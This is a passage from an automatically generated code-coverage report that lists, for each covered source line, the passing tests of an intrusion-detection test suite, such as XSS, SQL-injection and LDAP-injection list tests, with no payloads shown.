class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel367": { - "header": "2 tests cover line 367", - "body": "<ul><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel368": { - "header": "2 tests cover line 368", - "body": "<ul><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel369": { - "header": "2 tests cover line 369", - "body": "<ul><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel370": { - "header": "35 tests cover line 370", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel372": { - "header": "35 tests cover line 372", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel385": { - "header": "35 tests cover line 385", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel386": { - "header": "35 tests cover line 386", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel387": { - "header": "35 tests cover line 387", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel388": { - "header": "8 tests cover line 388", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel389": { - "header": "8 tests cover line 389", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel390": { - "header": "35 tests cover line 390", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel392": { - "header": "35 tests cover line 392", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel405": { - "header": "35 tests cover line 405", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel407": { - "header": "35 tests cover line 407", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel408": { - "header": "24 tests cover line 408", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel410": { - "header": "30 tests cover line 410", - "body": "<ul><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel424": { - "header": "35 tests cover line 424", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li 